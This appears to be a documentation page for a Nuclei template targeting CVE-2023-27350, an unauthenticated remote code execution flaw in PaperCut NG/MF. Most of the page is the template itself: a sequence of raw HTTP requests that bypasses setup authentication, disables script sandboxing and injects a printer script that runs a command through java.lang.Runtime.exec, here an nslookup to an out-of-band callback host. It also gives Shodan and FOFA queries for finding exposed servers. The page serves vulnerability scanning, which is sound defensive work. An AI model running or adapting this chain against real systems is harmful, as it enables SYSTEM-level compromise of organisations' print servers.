PaperCut - Unauthenticated Remote Code Execution
ID: CVE-2023-27350
Severity: critical
Author: rootxharsh,iamnoooob,pdresearch
Tags: cve2023,cve,packetstorm,papercut,rce,oast,unauth,kev
Description
Section titled “Description”This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.
YAML Source
Section titled “YAML Source”id: CVE-2023-27350
info: name: PaperCut - Unauthenticated Remote Code Execution author: rootxharsh,iamnoooob,pdresearch severity: critical description: | This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system. remediation: | Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability. reference: - https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/ - https://nvd.nist.gov/vuln/detail/CVE-2023-27350 - https://www.papercut.com/kb/Main/PO-1216-and-PO-1219 - https://www.zerodayinitiative.com/advisories/ZDI-23-233/ - http://packetstormsecurity.com/files/171982/PaperCut-MF-NG-Authentication-Bypass-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-27350 cwe-id: CWE-284,NVD-CWE-Other epss-score: 0.97107 epss-percentile: 0.99783 cpe: cpe:2.3:a:papercut:papercut_mf:*:*:*:*:*:*:*:* metadata: verified: true max-request: 10 vendor: papercut product: papercut_mf shodan-query: - http.html:"PaperCut" - http.html:"papercut" - http.html:"content=\"papercut\"" - cpe:"cpe:2.3:a:papercut:papercut_mf" fofa-query: - body="papercut" - body="content=\"papercut\"" tags: cve2023,cve,packetstorm,papercut,rce,oast,unauth,kevvariables: cmd: "nslookup {{interactsh-url}}"
http: - raw: - | GET /app?service=page/SetupCompleted HTTP/1.1 Host: {{Hostname}} - | POST /app HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FSetupCompleted%2F%24Form&sp=S0&Form0=%24Hidden%2CanalyticsEnabled%2C%24Submit&%24Hidden=true&%24Submit=Login - | POST /app HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print-and-device.script.enabled&doQuickFind=Go - | POST /app HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=Y&%24Submit=Update - | POST /app HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print.script.sandboxed&doQuickFind=Go - | POST /app HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=N&%24Submit=Update - | GET /app?service=page/PrinterList HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=page%2FPrinterList - | POST /app?service=direct/1/PrinterList/selectPrinter&sp={{printerID}} HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FPrinterList%2FselectPrinter&sp={{printerID}} - | POST /app HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FPrinterDetails%2FprinterOptionsTab.tab&sp=4 - | POST /app HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/x-www-form-urlencoded
service=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId={{printerID}}&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%7D%0D%0Ajava.lang.Runtime.getRuntime%28%29.exec%28%27{{cmd}}%27%29%3B&%24Submit%241=Apply
host-redirects: true max-redirects: 2
matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns"
- type: word part: body words: - 'Avanceret kontering'
extractors: - type: regex name: printerID group: 1 regex: - 'erList\/selectPrinterCost&sp=([a-z0-9]+)">' internal: true part: body# digest: 4a0a00473045022100b331811698a24d7d302bb63bb3f52c14651f674b981530bb774757ae8965c98a022008215d88b598f68426ed2516d40955ac879fd767775acacd5aa435e9cfe384c6:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27350.yaml"